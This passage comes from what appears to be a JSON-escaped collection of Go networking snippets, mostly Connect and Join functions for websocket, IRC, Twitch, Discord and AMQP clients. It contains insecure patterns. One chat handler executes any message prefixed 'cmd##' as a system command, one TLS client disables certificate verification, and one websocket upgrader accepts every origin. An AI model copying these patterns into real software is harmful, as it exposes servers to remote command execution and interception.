true}\\n\\n\\tconnection, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\\n\\tif err != nil {\\n\\t\\tlog.Debugf(\\\"%v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlog.Infof(\\\"Connection is established.\\\")\\n\\n\\treturn connection, nil\\n}\",\n \"func (bili *BiliClient) sendJoinChannel(channelID int) error {\\n\\tbili.uid = rand.Intn(2000000000) + 1000000000\\n\\tbody := fmt.Sprintf(\\\"{\\\\\\\"roomid\\\\\\\":%d,\\\\\\\"uid\\\\\\\":%d}\\\", channelID, bili.uid)\\n\\treturn bili.sendSocketData(0, 16, bili.protocolVersion, 7, 1, body)\\n}\",\n \"func (bot *Bot) Connect() {\\n\\t//close connection if it exists\\n\\tif bot.conn != nil {\\n\\t\\terr := bot.conn.Close()\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(\\\"error closing old connection\\\")\\n\\t\\t}\\n\\t}\\n\\n\\tvar err error\\n\\tfmt.Println(\\\"Attempting to connect to Twitch IRC server!\\\")\\n\\tbot.conn, err = net.Dial(\\\"tcp\\\", bot.server+\\\":\\\"+bot.port)\\n\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"Unable to connect to Twitch IRC server! Reconnecting in 10 seconds...\\\\n\\\")\\n\\t\\ttime.Sleep(10 * time.Second)\\n\\t\\tbot.Connect()\\n\\t}\\n\\n\\tfmt.Printf(\\\"Connected to IRC server %s\\\\n\\\", bot.server)\\n\\n\\tfmt.Fprintf(bot.conn, \\\"USER %s 8 * :%s\\\\r\\\\n\\\", bot.nick, bot.nick)\\n\\tfmt.Fprintf(bot.conn, \\\"PASS oauth:%s\\\\r\\\\n\\\", bot.AuthToken)\\n\\tfmt.Fprintf(bot.conn, \\\"NICK %s\\\\r\\\\n\\\", bot.nick)\\n\\tfmt.Fprintf(bot.conn, \\\"JOIN %s\\\\r\\\\n\\\", bot.channel)\\n\\tfmt.Fprintf(bot.conn, \\\"CAP REQ :twitch.tv/membership\\\\r\\\\n\\\")\\n\\tfmt.Fprintf(bot.conn, \\\"CAP REQ :twitch.tv/tags\\\\r\\\\n\\\")\\n\\n\\tgo bot.ReadLoop()\\n}\",\n \"func (s *LoginSocket) SendMessage(c *Client, msgType string, p interface{}) {\\n\\tlogger.Info(\\\"SendMessage on login channel\\\", msgType, p)\\n\\tgo c.SendMessage(LoginChannel, msgType, p)\\n}\",\n \"func connect() *websocket.Conn {\\n\\turl := url.URL{Scheme: \\\"ws\\\", Host: *addr, Path: \\\"/ws\\\"}\\n\\tlog.Info(\\\"Connecting to \\\", url.String())\\n\\tconn, _, err := dialer.Dial(url.String(), nil)\\n\\tcheckError(err)\\n\\tlog.Info(\\\"Connected to \\\", url.String())\\n\\n\\t// Read the message from server with deadline of ResponseWait(30) seconds\\n\\tconn.SetReadDeadline(time.Now().Add(utils.ResponseWait * time.Second))\\n\\n\\treturn conn\\n}\",\n \"func (s *streamMessageSender) Connect(ctx context.Context) (network.Stream, error) {\\n\\tif s.connected {\\n\\t\\treturn s.stream, nil\\n\\t}\\n\\n\\ttctx, cancel := context.WithTimeout(ctx, s.opts.SendTimeout)\\n\\tdefer cancel()\\n\\n\\tif err := s.bsnet.ConnectTo(tctx, s.to); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tstream, err := s.bsnet.newStreamToPeer(tctx, s.to)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\ts.stream = stream\\n\\ts.connected = true\\n\\treturn s.stream, nil\\n}\",\n \"func (c *TwitchChat) Connect() {\\n\\tvar err error\\n\\tc.connLock.RLock()\\n\\tc.conn, _, err = c.dialer.Dial(GetConfig().Twitch.SocketURL, c.headers)\\n\\tc.connLock.RUnlock()\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"error connecting to twitch ws %s\\\", err)\\n\\t\\tc.reconnect()\\n\\t}\\n\\n\\tc.send(\\\"PASS \\\" + GetConfig().Twitch.OAuth)\\n\\tc.send(\\\"NICK \\\" + GetConfig().Twitch.Nick)\\n\\n\\tfor _, ch := range c.channels {\\n\\t\\terr := c.Join(ch)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(ch, err)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (this *WebSocketController) Join() {\\n\\n\\tuname := this.GetString(\\\"uname\\\")\\n\\troomName := this.GetString(\\\"room\\\")\\n\\n\\tif len(uname) == 0 {\\n\\t\\tthis.Redirect(\\\"/\\\", 302)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Upgrade from http request to WebSocket.\\n\\tws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\\n\\tif _, ok := err.(websocket.HandshakeError); ok {\\n\\t\\thttp.Error(this.Ctx.ResponseWriter, \\\"Not a websocket handshake\\\", 400)\\n\\t\\treturn\\n\\t} else if err != nil {\\n\\t\\tbeego.Error(\\\"Cannot setup WebSocket connection:\\\", err)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar chatRoom *services.ChatRoom\\n\\tif roomName == \\\"\\\" {\\n\\t\\troomName = \\\"defaultRoom\\\"\\n\\t}\\n\\tif chatRoom = services.SchedulerService.FindChatRoom(roomName); chatRoom == nil {\\n\\t\\tbeego.Info(\\\"CreateChatRoom: \\\" + roomName)\\n\\t\\tchatRoom = services.SchedulerService.CreateChatRoom(roomName)\\n\\t}\\n\\n\\tchatRoom.Join(uname, ws)\\n\\tdefer chatRoom.Leave(uname)\\n\\n\\t// Join chat room.\\n\\t//Join(uname, ws)\\n\\t//defer Leave(uname)\\n\\n\\ttime.Sleep(time.Duration(2) * time.Second)\\n\\n\\tfor event := chatRoom.GetArchive().Front(); event != nil; event = event.Next() {\\n\\t\\tev := event.Value.(models.Event)\\n\\t\\tdata, err := json.Marshal(ev)\\n\\t\\tif err != nil {\\n\\t\\t\\tbeego.Error(\\\"Fail to marshal event:\\\", err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif ws.WriteMessage(websocket.TextMessage, data) != nil {\\n\\t\\t\\t// User disconnected.\\n\\t\\t\\tchatRoom.Leave(uname)\\n\\t\\t}\\n\\t}\\n\\n\\t// Message receive loop.\\n\\tfor {\\n\\t\\t_, p, err := ws.ReadMessage()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\treceivedMessage := &models.ReceivedMessage{}\\n\\t\\tif err := json.Unmarshal(p, receivedMessage); err != nil {\\n\\t\\t\\tbeego.Error(uname + \\\":\\\")\\n\\t\\t\\tbeego.Error(err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tif strings.HasPrefix(receivedMessage.Content, \\\"cmd##\\\") {\\n\\t\\t\\tcontent, err := services.Cmd.Exec(strings.Split(receivedMessage.Content, \\\"##\\\")[1])\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tchatRoom.Send(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, \\\"\\\", content))\\n\\n\\t\\t} else if receivedMessage.ToName != \\\"\\\" && receivedMessage.ToName != \\\"broadcast\\\" {\\n\\t\\t\\tchatRoom.SendOne(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, receivedMessage.ToName, receivedMessage.Content))\\n\\t\\t} else {\\n\\t\\t\\tchatRoom.Send(chatRoom.NewEvent(models.EVENT_MESSAGE, uname, \\\"\\\", receivedMessage.Content))\\n\\t\\t}\\n\\n\\t}\\n}\",\n \"func (b *Bot) Connect(token string) error {\\n\\tsession, err := discordgo.New(\\\"Bot \\\" + token)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Error creating Discord session: %w\\\", err)\\n\\t}\\n\\n\\tsession.AddHandler(b.readMessage)\\n\\n\\tsession.Identify.Intents = discordgo.MakeIntent(discordgo.IntentsGuildMessages)\\n\\n\\tif err := session.Open(); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Error opening connection: %w\\\", err)\\n\\t}\\n\\n\\tb.session = session\\n\\n\\treturn nil\\n}\",\n \"func (this *WebSocketController) Join() {\\n\\tuname := this.GetString(\\\"uname\\\")\\n\\tif len(uname) == 0 {\\n\\t\\tthis.Redirect(\\\"/\\\", 302)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Upgrade from http request to WebSocket.\\n\\tws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\\n\\tif err != nil {\\n\\t\\tif _, ok := err.(websocket.HandshakeError); ok {\\n\\t\\t\\thttp.Error(this.Ctx.ResponseWriter, \\\"Not a websocket handshake\\\", 400)\\n\\t\\t\\treturn\\n\\t\\t} else {\\n\\t\\t\\tbeego.Error(\\\"Cannot setup WebSocket connection:\\\", err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t// Join chat room.\\n\\tJoin(uname, ws)\\n\\tdefer Leave(uname)\\n\\n\\t// Message receive loop.\\n\\tfor {\\n\\t\\t_, p, err := ws.ReadMessage()\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Printf(\\\"\\\\nwebsocket message receive loop erro[%s]\\\\n\\\", err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tcommonInfoCh <- newEvent(models.EVENT_MESSAGE, uname, string(p))\\n\\t}\\n}\",\n \"func (c *Driver) Connect() error {\\n\\tif !IsChannelValid(c.channel) {\\n\\t\\treturn InvalidChanName\\n\\t}\\n\\n\\tc.clean()\\n\\tconn, err := net.Dial(\\\"tcp\\\", fmt.Sprintf(\\\"%s:%d\\\", c.Host, c.Port))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t} \\n\\t\\n\\tc.closed = false\\n\\tc.conn = conn\\n\\tc.reader = bufio.NewReader(c.conn)\\n\\n\\terr = c.write(fmt.Sprintf(\\\"START %s %s\\\", c.channel, c.Password))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = c.read()\\n\\t_, err = c.read()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (pc *Client) Connect() (err error) {\\n\\n\\tif debug {\\n\\t\\tfmt.Printf(\\\"Connecting to %s\\\\n\\\", pc.server)\\n\\t}\\n\\n\\tc, _, err := websocket.DefaultDialer.Dial(pc.server, nil)\\n\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tpc.connection = c\\n\\n\\tgo func() {\\n\\t\\tfor {\\n\\t\\t\\t_, message, err := c.ReadMessage()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tpc.disconnected()\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tpc.receive(message)\\n\\t\\t}\\n\\t}()\\n\\n\\terr = pc.wait(messages.TYPE_HELLO)\\n\\n\\tif err != nil {\\n\\t\\tpc.connected = true\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (s *StandaloneMessageBus) Connect(inst flux.InstanceID) (Platform, error) {\\n\\ts.RLock()\\n\\tdefer s.RUnlock()\\n\\tp, ok := s.connected[inst]\\n\\tif !ok {\\n\\t\\treturn disconnectedPlatform{}, nil\\n\\t}\\n\\treturn p, nil\\n}\",\n \"func (this *WebSocketController) Join() {\\n beego.Info(\\\"WebSocketControler.Join\\\")\\n\\n // Get username and roomname\\n uname := this.GetString(\\\"uname\\\")\\n room := this.GetString(\\\"room\\\")\\n if len(uname) == 0 || len(room) == 0 {\\n this.Redirect(\\\"/\\\", 302)\\n return\\n }\\n\\n // Upgrade from http request to WebSocket.\\n ws, err := websocket.Upgrade(this.Ctx.ResponseWriter, this.Ctx.Request, nil, 1024, 1024)\\n if _, ok := err.(websocket.HandshakeError); ok {\\n http.Error(this.Ctx.ResponseWriter, \\\"Not a websocket handshake\\\", 400)\\n return\\n } else if err != nil {\\n beego.Error(\\\"Cannot setup WebSocket connection:\\\", err)\\n return\\n }\\n\\n // Create new player\\n player := models.NewPlayer(uname)\\n\\n // Join room.\\n inChannel, outPlayer := models.JoinRoom(room, player)\\n\\n go broadcastWebSocket(player.OutChannel, ws)\\n go receiveRoutine(inChannel, ws, player, outPlayer)\\n}\",\n \"func connect(num int, serverHost string, serverPort int, result *chan resultConn) {\\n\\tfmt.Println(\\\"Start connection \\\", num)\\n\\tstart := time.Now()\\n\\tres := resultConn{}\\n\\tvar msgOut []byte\\n\\tconn, err := net.Dial(transport, fmt.Sprintf(\\\"%s:%d\\\", serverHost, serverPort))\\n\\tif err != nil {\\n\\t\\t// handle error\\n\\t\\tfmt.Println(err)\\n\\t} else {\\n\\t\\treader := bufio.NewReader(conn)\\n\\t\\tbuf := make([]byte, 1024)\\n\\t\\tfor msgIndex := 0; msgIndex < messageCount; msgIndex++ {\\n\\t\\t\\tmsgOut = randomProtoMsg()\\n\\t\\t\\tconn.Write(msgOut)\\n\\t\\t\\tres.byteOut += len(msgOut)\\n\\t\\t\\tanswerSize, err := reader.Read(buf)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(err)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tmsg := buf[0:answerSize]\\n\\t\\t\\t\\tif showMsg {\\n\\t\\t\\t\\t\\tfmt.Printf(\\n\\t\\t\\t\\t\\t\\t\\\"msg out: %s\\\\nmsg in: %s\\\\n\\\",\\n\\t\\t\\t\\t\\t\\tstring(msgOut), string(msg))\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tres.byteIn += answerSize\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tres.time = float32(time.Since(start)) / 1E9\\n\\tfmt.Println(\\\"End connection\\\", num, \\\"time\\\", res.time)\\n\\t(*result) <- res\\n}\",\n \"func (chatRoom *ChatRoom) Join(connection net.Conn) {\\n\\t// makes a new client\\n\\tclient := NewClient(connection)\\n\\t// appends it in the list\\n\\tchatRoom.clients = append(chatRoom.clients, client)\\n\\t// starts a goroutine to configure the incoming messages to be put in the chatroom's incoming\\n\\t// messages to broadcast\\n\\tgo func() {\\n\\t\\tfor {\\n\\t\\t\\tchatRoom.incoming <- <-client.incoming\\n\\t\\t}\\n\\t}()\\n}\",\n \"func (h DeviceController) Connect(c *gin.Context) {\\n\\tctx := c.Request.Context()\\n\\tl := log.FromContext(ctx)\\n\\n\\tidata := identity.FromContext(ctx)\\n\\tif !idata.IsDevice {\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\n\\t\\t\\t\\\"error\\\": ErrMissingAuthentication.Error(),\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\n\\tmsgChan := make(chan *nats.Msg, channelSize)\\n\\tsub, err := h.nats.ChanSubscribe(\\n\\t\\tmodel.GetDeviceSubject(idata.Tenant, idata.Subject),\\n\\t\\tmsgChan,\\n\\t)\\n\\tif err != nil {\\n\\t\\tl.Error(err)\\n\\t\\tc.JSON(http.StatusInternalServerError, gin.H{\\n\\t\\t\\t\\\"error\\\": \\\"failed to allocate internal device channel\\\",\\n\\t\\t})\\n\\t\\treturn\\n\\t}\\n\\t//nolint:errcheck\\n\\tdefer sub.Unsubscribe()\\n\\n\\tupgrader := websocket.Upgrader{\\n\\t\\tReadBufferSize: 1024,\\n\\t\\tWriteBufferSize: 1024,\\n\\t\\tSubprotocols: []string{\\\"protomsg/msgpack\\\"},\\n\\t\\tCheckOrigin: func(r *http.Request) bool {\\n\\t\\t\\treturn true\\n\\t\\t},\\n\\t\\tError: func(\\n\\t\\t\\tw http.ResponseWriter, r *http.Request, s int, e error) {\\n\\t\\t\\trest.RenderError(c, s, e)\\n\\t\\t},\\n\\t}\\n\\n\\terrChan := make(chan error)\\n\\tdefer close(errChan)\\n\\n\\t// upgrade get request to websocket protocol\\n\\tconn, err := upgrader.Upgrade(c.Writer, c.Request, nil)\\n\\tif err != nil {\\n\\t\\terr = errors.Wrap(err,\\n\\t\\t\\t\\\"failed to upgrade the request to \\\"+\\n\\t\\t\\t\\t\\\"websocket protocol\\\",\\n\\t\\t)\\n\\t\\tl.Error(err)\\n\\t\\treturn\\n\\t}\\n\\t// websocketWriter is responsible for closing the websocket\\n\\t//nolint:errcheck\\n\\tgo h.connectWSWriter(ctx, conn, msgChan, errChan)\\n\\terr = h.ConnectServeWS(ctx, conn)\\n\\tif err != nil {\\n\\t\\tselect {\\n\\t\\tcase errChan <- err:\\n\\n\\t\\tcase <-time.After(time.Second):\\n\\t\\t\\tl.Warn(\\\"Failed to propagate error to client\\\")\\n\\t\\t}\\n\\t}\\n}\",\n \"func (b *BTCC) OnConnect(output chan socketio.Message) {\\n\\tif b.Verbose {\\n\\t\\tlog.Printf(\\\"%s Connected to Websocket.\\\", b.GetName())\\n\\t}\\n\\n\\tcurrencies := []string{}\\n\\tfor _, x := range b.EnabledPairs {\\n\\t\\tcurrency := common.StringToLower(x[3:] + x[0:3])\\n\\t\\tcurrencies = append(currencies, currency)\\n\\t}\\n\\tendpoints := []string{\\\"marketdata\\\", \\\"grouporder\\\"}\\n\\n\\tfor _, x := range endpoints {\\n\\t\\tfor _, y := range currencies {\\n\\t\\t\\tchannel := fmt.Sprintf(`\\\"%s_%s\\\"`, x, y)\\n\\t\\t\\tif b.Verbose {\\n\\t\\t\\t\\tlog.Printf(\\\"%s Websocket subscribing to channel: %s.\\\", b.GetName(), channel)\\n\\t\\t\\t}\\n\\t\\t\\toutput <- socketio.CreateMessageEvent(\\\"subscribe\\\", channel, b.OnMessage, BTCCSocket.Version)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (p *AMQPClient) Connect(ip string) {\\n\\t// start logging\\n\\tif env.IsLoggingEnabled() {\\n\\t\\tl, err := logs.CreateAndConnect(env.GetLoggingCredentials())\\n\\t\\tp.Logger = l\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(\\\"Couldn't connect to logging service! No logs will be stored..\\\")\\n\\t\\t}\\n\\t}\\n\\n\\tconn, err := amqp.Dial(ip)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tp.Connection = conn\\n\\tfmt.Println(\\\"Connected to amqp node @\\\" + ip + \\\".\\\")\\n\\n\\t// creates a channel to amqp server\\n\\tch, err := conn.Channel()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tp.Channel = ch\\n\\n\\t// declares an exchange with name `chat` and type `fanout`\\n\\t// sends to every queue bound to this exchange\\n\\terr = ch.ExchangeDeclare(\\\"chat\\\", \\\"fanout\\\", true,\\n\\t\\tfalse, false, false, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\t// declares a new queue with name=`queueName`\\n\\tq, err := ch.QueueDeclare(queueName+\\\"_\\\"+p.UUID.String(), false, false, true, false, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tp.Queue = q\\n\\n\\t// binds the queue to the exchange\\n\\terr = ch.QueueBind(q.Name, \\\"\\\", \\\"chat\\\", false, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\t// handles outgoing messages\\n\\tgo func(p *AMQPClient) {\\n\\t\\tfor {\\n\\t\\t\\tselect {\\n\\t\\t\\t// publishes a new message to the amqp server\\n\\t\\t\\t// if the channel received a new message\\n\\t\\t\\tcase s := <-p.outgoingMessages:\\n\\t\\t\\t\\terr = ch.Publish(\\\"chat\\\", \\\"\\\", false, false,\\n\\t\\t\\t\\t\\tamqp.Publishing{\\n\\t\\t\\t\\t\\t\\tContentType: \\\"text/plain\\\",\\n\\t\\t\\t\\t\\t\\tBody: []byte(s.Message),\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\tcase m := <-p.incomingMessages:\\n\\t\\t\\t\\tfmt.Println(m.Message)\\n\\n\\t\\t\\t\\t// log the message\\n\\t\\t\\t\\tif env.IsLoggingEnabled() {\\n\\t\\t\\t\\t\\tgo func() {\\n\\t\\t\\t\\t\\t\\tuser, message := m.UserAndMessage()\\n\\t\\t\\t\\t\\t\\terr := p.Logger.AddEntry(user, message)\\n\\n\\t\\t\\t\\t\\t\\tif p.Logger.Connected && err != nil {\\n\\t\\t\\t\\t\\t\\t\\tfmt.Println(\\\"Couldn't sent log!\\\", err)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}()\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}(p)\\n\\n\\t// get the channel consumer\\n\\tmsgs, err := ch.Consume(q.Name, \\\"\\\", true, false, false, false, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\t// handles incoming messages\\n\\tgo func(p *AMQPClient) {\\n\\t\\tfor d := range msgs {\\n\\t\\t\\t// send a message packet to incoming handler\\n\\t\\t\\t// if a new message is inside the channel\\n\\t\\t\\tp.incomingMessages <- &network.MessagePacket{Message: string(d.Body)}\\n\\t\\t}\\n\\t}(p)\\n\\n\\tselect {\\n\\tcase p.stateUpdates <- true:\\n\\t\\tbreak\\n\\t}\\n}\",\n \"func (c *GatewayClient) connect() error {\\n\\tif !c.ready {\\n\\t\\treturn errors.New(\\\"already tried to connect and failed\\\")\\n\\t}\\n\\n\\tc.ready = false\\n\\tc.resuming = false\\n\\tc.heartbeatAcknowledged = true\\n\\tc.lastIdentify = time.Time{}\\n\\n\\tc.Logf(\\\"connecting\\\")\\n\\t// TODO Need to set read deadline for hello packet and I also need to set write deadlines.\\n\\t// TODO also max message\\n\\tvar err error\\n\\tc.wsConn, _, err = websocket.DefaultDialer.Dial(c.GatewayURL, nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tgo c.manager()\\n\\n\\treturn nil\\n}\",\n \"func (c *Client) Connect(server string) error {\\n\\tconn, err := net.Dial(\\\"tcp\\\", server)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tc.Conn = conn\\n\\n\\t// Wait for first message -- give the server 1 second\\n\\t// after acknowledgment\\n\\tc.GetMessage()\\n\\ttime.Sleep(time.Second)\\n\\n\\t// Write the NICK and USER commands\\n\\tc.writeNick()\\n\\tc.writeUser()\\n\\n\\t// Block until message 001 comes through\\n\\tfor true {\\n\\t\\tmessage, err := c.GetMessage()\\n\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tif message.Command == \\\"001\\\" {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (rhost *rhostData) connect() {\\n\\n\\t// Get local IP list\\n\\tips, _ := rhost.getIPs()\\n\\n\\t// Create command buffer\\n\\tbuf := new(bytes.Buffer)\\n\\t_, port := rhost.teo.td.GetAddr()\\n\\tbinary.Write(buf, binary.LittleEndian, byte(len(ips)))\\n\\tfor _, addr := range ips {\\n\\t\\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, byte(0))\\n\\t}\\n\\tbinary.Write(buf, binary.LittleEndian, uint32(port))\\n\\tdata := buf.Bytes()\\n\\tfmt.Printf(\\\"Connect to r-host, send local IPs\\\\nip: %v\\\\nport: %d\\\\n\\\", ips, port)\\n\\n\\t// Send command to r-host\\n\\trhost.teo.sendToTcd(rhost.tcd, CmdConnectR, data)\\n\\trhost.connected = true\\n}\",\n \"func (self *SinglePad) Connect(rawPad interface{}) {\\n self.Object.Call(\\\"connect\\\", rawPad)\\n}\",\n \"func on_connect(c net.Conn) {\\n conn := create_connection(c)\\n connected_clients_mutex.Lock()\\n conn_id, _ := strconv.Atoi(conn.id)\\n connected_clients[conn_id] = conn\\n connected_clients_mutex.Unlock()\\n handle_conn(conn)\\n}\",\n \"func (p *Plugin) Connect() (err error) {\\n\\tif p.socket == nil {\\n\\t\\treturn errors.New(\\\"Socket is already closed\\\")\\n\\t}\\n\\tgo func() {\\n\\t\\tfor {\\n\\t\\t\\terr = p.receiveMessage()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\terr = p.connect()\\n\\tif err != nil {\\n\\t\\tp.Close()\\n\\t\\treturn err\\n\\t}\\n\\treturn\\n}\",\n \"func (observer *Observer) Connect(id int32, port int32) {\\n\\tobserver.connector.Connect(id, port)\\n}\",\n \"func routeMsg(ws *websocket.Conn, ctx context.Context) {\\n\\n\\tfor {\\n\\t\\tselect {\\n\\t\\tcase <-ctx.Done():\\n\\t\\t\\treturn\\n\\t\\tcase msg := <-postFromClientChan:\\n\\t\\t\\tpostFromClient(msg)\\n\\t\\tcase msg := <-initFromClientChan:\\n\\t\\t\\tinitFromClient(msg)\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"func (c *TunaSessionClient) OnConnect() chan struct{} {\\n\\treturn c.onConnect\\n}\",\n \"func (session *Session) connect() {\\n\\n\\tfor {\\n\\n\\t\\t// Dial out to server\\n\\t\\ttlsconf := &tls.Config{\\n\\n\\t\\t\\t// @TODO: Fix security here\\n\\t\\t\\tInsecureSkipVerify: true,\\n\\t\\t}\\n\\t\\tconn, err := tls.Dial(\\\"tcp4\\\", session.address, tlsconf)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Printf(\\\"Unable to connect to server, retry in 5 seconds: %v\\\\n\\\", err)\\n\\t\\t\\ttime.Sleep(time.Second * 5)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// store the connection\\n\\t\\tsession.socket = conn\\n\\t\\tsession.running = true\\n\\n\\t\\t// register with the server\\n\\t\\tsession.register()\\n\\n\\t\\t// Start processing commands\\n\\t\\tindata := make(chan []byte)\\n\\t\\tgo ReadCommand(session.socket, indata)\\n\\n\\t\\t// Keep processing commands until socket closes\\n\\t\\tfor msgdata := range indata {\\n\\t\\t\\tresponse := &uploadpb.ServerResponse{}\\n\\t\\t\\tif err := proto.Unmarshal(msgdata, response); err != nil {\\n\\t\\t\\t\\tlog.Printf(\\\"Server message process error: %v\\\\n\\\", err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tsession.processResponse(response)\\n\\t\\t}\\n\\n\\t\\t// connection was closed\\n\\t\\tsession.running = false\\n\\t\\tlog.Println(\\\"Connection to server closed. Connecting in 3 seconds.\\\")\\n\\t\\ttime.Sleep(time.Second * 3)\\n\\t}\\n}\",\n \"func (queueWriter *QueueWriter) Connect(connectionAddress string) {\\n\\tconnection, err := stomp.Dial(\\\"tcp\\\", connectionAddress)\\n\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Could not connect to %s\\\", connectionAddress)\\n\\t\\treturn\\n\\t}\\n\\n\\tqueueWriter.isConnected = true\\n\\tqueueWriter.connection = connection\\n\\n\\tlog.Printf(\\\"Connected to address: %s\\\", connectionAddress)\\n}\",\n \"func onConnect(c *gnet.Connection, solicited bool) {\\n\\tfmt.Printf(\\\"Event Callback: connnect event \\\\n\\\")\\n}\",\n \"func (h DeviceController) connectWSWriter(\\n\\tctx context.Context,\\n\\tconn *websocket.Conn,\\n\\tmsgChan <-chan *nats.Msg,\\n\\terrChan <-chan error,\\n) (err error) {\\n\\tl := log.FromContext(ctx)\\n\\tdefer func() {\\n\\t\\t// TODO Check err and errChan and send close control packet\\n\\t\\t// with error if not initiated by client.\\n\\t\\tconn.Close()\\n\\t}()\\n\\n\\t// handle the ping-pong connection health check\\n\\terr = conn.SetReadDeadline(time.Now().Add(pongWait))\\n\\tif err != nil {\\n\\t\\tl.Error(err)\\n\\t\\treturn err\\n\\t}\\n\\n\\tpingPeriod := (pongWait * 9) / 10\\n\\tticker := time.NewTicker(pingPeriod)\\n\\tdefer ticker.Stop()\\n\\tconn.SetPongHandler(func(string) error {\\n\\t\\tticker.Reset(pingPeriod)\\n\\t\\treturn conn.SetReadDeadline(time.Now().Add(pongWait))\\n\\t})\\n\\tconn.SetPingHandler(func(msg string) error {\\n\\t\\tticker.Reset(pingPeriod)\\n\\t\\terr := conn.SetReadDeadline(time.Now().Add(pongWait))\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\treturn conn.WriteControl(\\n\\t\\t\\twebsocket.PongMessage,\\n\\t\\t\\t[]byte(msg),\\n\\t\\t\\ttime.Now().Add(writeWait),\\n\\t\\t)\\n\\t})\\nLoop:\\n\\tfor {\\n\\t\\tselect {\\n\\t\\tcase msg := <-msgChan:\\n\\t\\t\\terr = conn.WriteMessage(websocket.BinaryMessage, msg.Data)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tl.Error(err)\\n\\t\\t\\t\\tbreak Loop\\n\\t\\t\\t}\\n\\t\\tcase <-ctx.Done():\\n\\t\\t\\tbreak Loop\\n\\t\\tcase <-ticker.C:\\n\\t\\t\\tif !websocketPing(conn) {\\n\\t\\t\\t\\tbreak Loop\\n\\t\\t\\t}\\n\\t\\tcase err := <-errChan:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tticker.Reset(pingPeriod)\\n\\t}\\n\\treturn err\\n}\",\n \"func (c *Component) Connect() error {\\n\\tvar conn net.Conn\\n\\tvar err error\\n\\tif conn, err = net.DialTimeout(\\\"tcp\\\", c.Address, time.Duration(5)*time.Second); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tc.conn = conn\\n\\n\\t// 1. Send stream open tag\\n\\tif _, err := fmt.Fprintf(conn, componentStreamOpen, c.Domain, stanza.NSComponent, stanza.NSStream); err != nil {\\n\\t\\treturn errors.New(\\\"cannot send stream open \\\" + err.Error())\\n\\t}\\n\\tc.decoder = 